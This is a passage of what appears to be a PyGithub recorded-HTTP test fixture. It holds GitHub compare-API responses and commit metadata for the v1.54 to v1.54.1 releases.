annotation","tree":{"sha":"b3948a8f30112d7cca24b96606dea93349b1b856","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/b3948a8f30112d7cca24b96606dea93349b1b856"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/82c349ce3e1c556531110753831b3133334c19b7","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/82c349ce3e1c556531110753831b3133334c19b7","html_url":"https://github.com/PyGithub/PyGithub/commit/82c349ce3e1c556531110753831b3133334c19b7","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/82c349ce3e1c556531110753831b3133334c19b7/comments","author":null,"committer":null,"parents":[{"sha":"24251f4b0f1ef4abe10c590af17620eb2ed3576c","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/24251f4b0f1ef4abe10c590af17620eb2ed3576c","html_url":"https://github.com/PyGithub/PyGithub/commit/24251f4b0f1ef4abe10c590af17620eb2ed3576c"}]},{"sha":"2432cffd3b2f1a8e0b6b96d69b3dd4ded148a9f7","node_id":"MDY6Q29tbWl0MzU0NDQ5MDoyNDMyY2ZmZDNiMmYxYThlMGI2Yjk2ZDY5YjNkZDRkZWQxNDhhOWY3","commit":{"author":{"name":"Pascal Hofmann","email":"mail@pascalhofmann.de","date":"2020-12-03T12:32:53Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2020-12-03T12:32:53Z"},"message":"Merge pull request #1733 from dubois/main\n\nFix #1731: Incorrect annotation","tree":{"sha":"98dbe74b6c69fd6d89650824bb5fa48d59ad4499","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/98dbe74b6c69fd6d89650824bb5fa48d59ad4499"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/2432cffd3b2f1a8e0b6b96d69b3dd4ded148a9f7","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\nwsBcBAABCAAQBQJfyNr1CRBK7hj4Ov3rIwAAdHIIACMaCONmlMgdxcZuJSjZtdIo\navRBcycP0TgRB0w1Ax+JaxyQlW6L9yG6A1uijFE+dMYHNWcaDkMNb+plB/mmlqZe\nw4fv5l10JdvNKpslI8UsxYZPPVFPGrWLUdsI7+Jv8gSklOmXZ179N45CUp1uQ4T4\n5h95YTyyKuWF8Lc1qZI2zUX+11ts6k5Z+dqlw0ilu2t0VWwNLTmx85wCi0lDzhdn\n/ZqubVn+et0MoIhFnTpaj8GhLRV+wUFhBg+j+ynhViTd4Kb1wXQKaJTaJKkRupGU\nTxlrYgOVLPm47B8q2bCH5LmpT1iUVhCYs/JPjOeEJXn7tP1VaSBqhU+gmvzssKI=\n=cEIt\n-----END PGP SIGNATURE-----\n","payload":"tree 98dbe74b6c69fd6d89650824bb5fa48d59ad4499\nparent 63e4fae997a9a5dc8c2b56907c87c565537bb28f\nparent 82c349ce3e1c556531110753831b3133334c19b7\nauthor Pascal Hofmann 1606998773 +0100\ncommitter GitHub 1606998773 +0100\n\nMerge pull request #1733 from dubois/main\n\nFix #1731: Incorrect annotation"}},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/2432cffd3b2f1a8e0b6b96d69b3dd4ded148a9f7","html_url":"https://github.com/PyGithub/PyGithub/commit/2432cffd3b2f1a8e0b6b96d69b3dd4ded148a9f7","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/2432cffd3b2f1a8e0b6b96d69b3dd4ded148a9f7/comments","author":{"login":"pascal-hofmann","id":2102878,"node_id":"MDQ6VXNlcjIxMDI4Nzg=","avatar_url":"https://avatars.githubusercontent.com/u/2102878?v=4","gravatar_id":"","url":"https://api.github.com/users/pascal-hofmann","html_url":"https://github.com/pascal-hofmann","followers_url":"https://api.github.com/users/pascal-hofmann/followers","following_url":"https://api.github.com/users/pascal-hofmann/following{/other_user}","gists_url":"https://api.github.com/users/pascal-hofmann/gists{/gist_id}","starred_url":"https://api.github.com/users/pascal-hofmann/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/pascal-hofmann/subscriptions","organizations_url":"https://api.github.com/users/pascal-hofmann/orgs","repos_url":"https://api.github.com/users/pascal-hofmann/repos","events_url":"https://api.github.com/users/pascal-hofmann/events{/privacy}","received_events_url":"https://api.github.com/users/pascal-hofmann/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"63e4fae997a9a5dc8c2b56907c87c565537bb28f","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/63e4fae997a9a5dc8c2b56907c87c565537bb28f","html_url":"https://github.com/PyGithub/PyGithub/commit/63e4fae997a9a5dc8c2b56907c87c565537bb28f"},{"sha":"82c349ce3e1c556531110753831b3133334c19b7","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/82c349ce3e1c556531110753831b3133334c19b7","html_url":"https://github.com/PyGithub/PyGithub/commit/82c349ce3e1c556531110753831b3133334c19b7"}]},{"sha":"e113e37de1ec687c68337d777f3629251b35ab28","node_id":"MDY6Q29tbWl0MzU0NDQ5MDplMTEzZTM3ZGUxZWM2ODdjNjgzMzdkNzc3ZjM2MjkyNTFiMzVhYjI4","commit":{"author":{"name":"Steve Kowalik","email":"steven@wedontsleep.org","date":"2020-12-15T03:07:33Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2020-12-15T03:07:33Z"},"message":"Add pyupgrade to pre-commit configuration (#1783)\n\nTo help us switch to f-strings and other 3.6+ changes, add pyupgrade to\r\nour pre-commit configuration to keep the codebase clean.","tree":{"sha":"3bdfb7b92b80e7df710bd666dcb00fd04d964340","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/3bdfb7b92b80e7df710bd666dcb00fd04d964340"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/e113e37de1ec687c68337d777f3629251b35ab28","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\nwsBcBAABCAAQBQJf2Ch1CRBK7hj4Ov3rIwAAdHIIAJAasU9Em5OS36vmelEIoWdn\nrfFmomE8K5EMcPU0xVoSQXEBaDqqopNM5jq2kS9O9MVYLcyPrbGzhUOZpF57Kkyt\nl7tBNTSvAdrDlxfYxn8duAOC7RtbFVyqoca+llIpuSXCf3G7T1XZ+zErFE8/Jo74\n4JAuMZ7+1GbqcLLYt9ly7pX7dCjXOMkjuVgT4kPMtbOleWr2YQFweONT+B6GyDOu\nHuLShrF2WVTAJCXrAdoq/czK8gOKJFPTHhFPMJqb4le05XliB286plmEUTryPUXG\nk9rJLK3jaRg8TTn7Uwsl3sVxHNl7JirJsdSXESiSnvorbPdEtVQlztDmwYvw0Rg=\n=Qwiy\n-----END PGP SIGNATURE-----\n","payload":"tree 3bdfb7b92b80e7df710bd666dcb00fd04d964340\nparent 2432cffd3b2f1a8e0b6b96d69b3dd4ded148a9f7\nauthor Steve Kowalik 1608001653 +1100\ncommitter GitHub 1608001653 +1100\n\nAdd pyupgrade to pre-commit configuration (#1783)\n\nTo help us switch to f-strings and other 3.6+ changes, add pyupgrade to\r\nour pre-commit configuration to keep the codebase clean."}},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/e113e37de1ec687c68337d777f3629251b35ab28","html_url":"https://github.com/PyGithub/PyGithub/commit/e113e37de1ec687c68337d777f3629251b35ab28","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/e113e37de1ec687c68337d777f3629251b35ab28/comments","author":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"2432cffd3b2f1a8e0b6b96d69b3dd4ded148a9f7","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/2432cffd3b2f1a8e0b6b96d69b3dd4ded148a9f7","html_url":"https://github.com/PyGithub/PyGithub/commit/2432cffd3b2f1a8e0b6b96d69b3dd4ded148a9f7"}]},{"sha":"f299699ccd75910593d5ddf7cc6212f70c5c28b1","node_id":"MDY6Q29tbWl0MzU0NDQ5MDpmMjk5Njk5Y2NkNzU5MTA1OTNkNWRkZjdjYzYyMTJmNzBjNWMyOGIx","commit":{"author":{"name":"Steve Kowalik","email":"steven@wedontsleep.org","date":"2020-12-15T03:13:05Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2020-12-15T03:13:05Z"},"message":"Ignore pyupgrade commit for git blame (#1785)\n\nSince the pyupgrade commit makes a large amount of changes, ignore the\r\ncommit by default with git blame.","tree":{"sha":"26a66857d79da88f91e239a2b43f01eecb4b3b2b","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/26a66857d79da88f91e239a2b43f01eecb4b3b2b"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/f299699ccd75910593d5ddf7cc6212f70c5c28b1","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\nwsBcBAABCAAQBQJf2CnBCRBK7hj4Ov3rIwAAdHIIAAA+IDUcDmxT5CU2FINN7KFq\nnb5+ldtcluhl6OPIEyNShJTBIMPm0XePFRZLNvSdWb7PO/DepYykycMCjYdwHFqj\n23NUoEZ/AdvvH6xYDbUyr8vnXGudRTKvNKr98wV11B2JbOsJn+6DdmQ1iwfdNr0S\nXO0K809ROQ5CQXMNjp8ydwz/T6Q7WkVUfxnM6cYpvlHaG3lIXXuo+pbw9DSsfXP4\nCI05/vXd6b97wh5VztoZ4evTBu1gHCC+nQqvXLIWfmK+DUmRMUhIDhD0/5Sz5lR4\nAIHvDpp9rs3eshAJ2Dpu9p9VLCbxm19CgXSE3dh11oCXcEnNOVShJR7O3CuPqh4=\n=YZoY\n-----END PGP SIGNATURE-----\n","payload":"tree 26a66857d79da88f91e239a2b43f01eecb4b3b2b\nparent e113e37de1ec687c68337d777f3629251b35ab28\nauthor Steve Kowalik 1608001985 +1100\ncommitter GitHub 1608001985 +1100\n\nIgnore pyupgrade commit for git blame (#1785)\n\nSince the pyupgrade commit makes a large amount of changes, ignore the\r\ncommit by default with git blame."}},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/f299699ccd75910593d5ddf7cc6212f70c5c28b1","html_url":"https://github.com/PyGithub/PyGithub/commit/f299699ccd75910593d5ddf7cc6212f70c5c28b1","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/f299699ccd75910593d5ddf7cc6212f70c5c28b1/comments","author":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"e113e37de1ec687c68337d777f3629251b35ab28","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/e113e37de1ec687c68337d777f3629251b35ab28","html_url":"https://github.com/PyGithub/PyGithub/commit/e113e37de1ec687c68337d777f3629251b35ab28"}]}]} + +https +GET +api.github.com +None +/repositories/3544490/compare/v1.54...v1.54.1?page=3&per_page=4 +{'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Wed, 24 Jan 2024 06:45:31 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"9a04c6718bc5d4797539efa3888340cfbb5b64f05400ebb368bb3c7c9c796c39"'), ('Last-Modified', 'Thu, 24 Dec 2020 04:11:01 GMT'), ('github-authentication-token-expiration', '2024-02-19 10:58:06 +0100'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="last", ; rel="first", ; rel="prev"'), ('x-accepted-github-permissions', 'contents=read'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4961'), ('X-RateLimit-Reset', '1706081414'), ('X-RateLimit-Used', '39'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'B664:5B937:20893EC:20FD252:65B0B20A')] +{"url":"https://api.github.com/repos/PyGithub/PyGithub/compare/v1.54...v1.54.1","html_url":"https://github.com/PyGithub/PyGithub/compare/v1.54...v1.54.1","permalink_url":"https://github.com/PyGithub/PyGithub/compare/PyGithub:951fcdf...PyGithub:34d097c","diff_url":"https://github.com/PyGithub/PyGithub/compare/v1.54...v1.54.1.diff","patch_url":"https://github.com/PyGithub/PyGithub/compare/v1.54...v1.54.1.patch","base_commit":{"sha":"951fcdf23f8c657b525dee78086bc4dfd42ef810","node_id":"MDY6Q29tbWl0MzU0NDQ5MDo5NTFmY2RmMjNmOGM2NTdiNTI1ZGVlNzgwODZiYzRkZmQ0MmVmODEw","commit":{"author":{"name":"Steve Kowalik","email":"steven@wedontsleep.org","date":"2020-11-30T05:43:49Z"},"committer":{"name":"Steve Kowalik","email":"steven@wedontsleep.org","date":"2020-11-30T05:43:49Z"},"message":"Publish version 1.54","tree":{"sha":"1a5bc94ff3672ddcd68c27ccbe4c12b44343bb3c","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/1a5bc94ff3672ddcd68c27ccbe4c12b44343bb3c"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/951fcdf23f8c657b525dee78086bc4dfd42ef810","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/951fcdf23f8c657b525dee78086bc4dfd42ef810","html_url":"https://github.com/PyGithub/PyGithub/commit/951fcdf23f8c657b525dee78086bc4dfd42ef810","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/951fcdf23f8c657b525dee78086bc4dfd42ef810/comments","author":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"committer":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"parents":[{"sha":"6d501b286e04f324bc87532003f0564624981ecb","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/6d501b286e04f324bc87532003f0564624981ecb","html_url":"https://github.com/PyGithub/PyGithub/commit/6d501b286e04f324bc87532003f0564624981ecb"}]},"merge_base_commit":{"sha":"951fcdf23f8c657b525dee78086bc4dfd42ef810","node_id":"MDY6Q29tbWl0MzU0NDQ5MDo5NTFmY2RmMjNmOGM2NTdiNTI1ZGVlNzgwODZiYzRkZmQ0MmVmODEw","commit":{"author":{"name":"Steve Kowalik","email":"steven@wedontsleep.org","date":"2020-11-30T05:43:49Z"},"committer":{"name":"Steve Kowalik","email":"steven@wedontsleep.org","date":"2020-11-30T05:43:49Z"},"message":"Publish version 1.54","tree":{"sha":"1a5bc94ff3672ddcd68c27ccbe4c12b44343bb3c","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/1a5bc94ff3672ddcd68c27ccbe4c12b44343bb3c"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/951fcdf23f8c657b525dee78086bc4dfd42ef810","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/951fcdf23f8c657b525dee78086bc4dfd42ef810","html_url":"https://github.com/PyGithub/PyGithub/commit/951fcdf23f8c657b525dee78086bc4dfd42ef810","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/951fcdf23f8c657b525dee78086bc4dfd42ef810/comments","author":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"committer":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"parents":[{"sha":"6d501b286e04f324bc87532003f0564624981ecb","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/6d501b286e04f324bc87532003f0564624981ecb","html_url":"https://github.com/PyGithub/PyGithub/commit/6d501b286e04f324bc87532003f0564624981ecb"}]},"status":"ahead","ahead_by":10,"behind_by":0,"total_commits":10,"commits":[{"sha":"31a1c007808a4205bdae691385d2627c561e69ed","node_id":"MDY6Q29tbWl0MzU0NDQ5MDozMWExYzAwNzgwOGE0MjA1YmRhZTY5MTM4NWQyNjI3YzU2MWU2OWVk","commit":{"author":{"name":"Edouard Benauw","email":"edouard.benauw@student.ecp.fr","date":"2020-12-24T04:09:32Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2020-12-24T04:09:32Z"},"message":"Pin pyjwt version (#1797)\n\n* Pin pyjwt version\r\n\r\nPyjwt version is not fixed, which can cause syntax error for user since the release of breaking changes from pyjwt (https://pypi.org/project/PyJWT/#history)\r\n\r\n* Update setup.py\r\n\r\nFixes #1796","tree":{"sha":"f1f0f4f89687db0bd578530bfde3711d648ca8b7","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/f1f0f4f89687db0bd578530bfde3711d648ca8b7"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/31a1c007808a4205bdae691385d2627c561e69ed","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\nwsBcBAABCAAQBQJf5BR8CRBK7hj4Ov3rIwAAdHIIAJPfqg6LN2GTPXBh2Dtf++2D\nxIFywirZ2SSdV4B6BR6EP9mtAstO2sD53qGgwtmpkvUooWQmE+2iBXxMNrTG6E4P\nrHVVNNulrDImNAUFNtndREZfNjrCveYXzfAvl9KduJqo7GHt75uPUlD7JjmzUWIk\n4ilUdGt/N52AKhXsjRgmbhdMrjw4/2aLwHLuLe0fbf/6YFu6tyGfeX9hkMJtUMuC\nx+hPcmXByzwDu9ZXB+VlMgvm51BhgtPujT3pKqoaGihiiiL6DONJBojpWkZRGoL1\nDEFOrFTwdwQmv7Ff+2nj0GCSdyPfsE/ErG1YjmgQE86PTJUATjaUycz0fBHsbBc=\n=crvV\n-----END PGP SIGNATURE-----\n","payload":"tree f1f0f4f89687db0bd578530bfde3711d648ca8b7\nparent f299699ccd75910593d5ddf7cc6212f70c5c28b1\nauthor Edouard Benauw 1608782972 +0100\ncommitter GitHub 1608782972 +1100\n\nPin pyjwt version (#1797)\n\n* Pin pyjwt version\r\n\r\nPyjwt version is not fixed, which can cause syntax error for user since the release of breaking changes from pyjwt (https://pypi.org/project/PyJWT/#history)\r\n\r\n* Update setup.py\r\n\r\nFixes #1796"}},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/31a1c007808a4205bdae691385d2627c561e69ed","html_url":"https://github.com/PyGithub/PyGithub/commit/31a1c007808a4205bdae691385d2627c561e69ed","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/31a1c007808a4205bdae691385d2627c561e69ed/comments","author":null,"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"f299699ccd75910593d5ddf7cc6212f70c5c28b1","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/f299699ccd75910593d5ddf7cc6212f70c5c28b1","html_url":"https://github.com/PyGithub/PyGithub/commit/f299699ccd75910593d5ddf7cc6212f70c5c28b1"}]},{"sha":"34d097ce473601624722b90fc5d0396011dd3acb","node_id":"MDY6Q29tbWl0MzU0NDQ5MDozNGQwOTdjZTQ3MzYwMTYyNDcyMmI5MGZjNWQwMzk2MDExZGQzYWNi","commit":{"author":{"name":"Steve Kowalik","email":"steven@wedontsleep.org","date":"2020-12-24T04:11:01Z"},"committer":{"name":"Steve Kowalik","email":"steven@wedontsleep.org","date":"2020-12-24T04:11:01Z"},"message":"Publish version 1.54.1","tree":{"sha":"7ad0475f15170e05abbb93a65d07370b9335d0fc","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/7ad0475f15170e05abbb93a65d07370b9335d0fc"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/34d097ce473601624722b90fc5d0396011dd3acb","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/34d097ce473601624722b90fc5d0396011dd3acb","html_url":"https://github.com/PyGithub/PyGithub/commit/34d097ce473601624722b90fc5d0396011dd3acb","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/34d097ce473601624722b90fc5d0396011dd3acb/comments","author":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.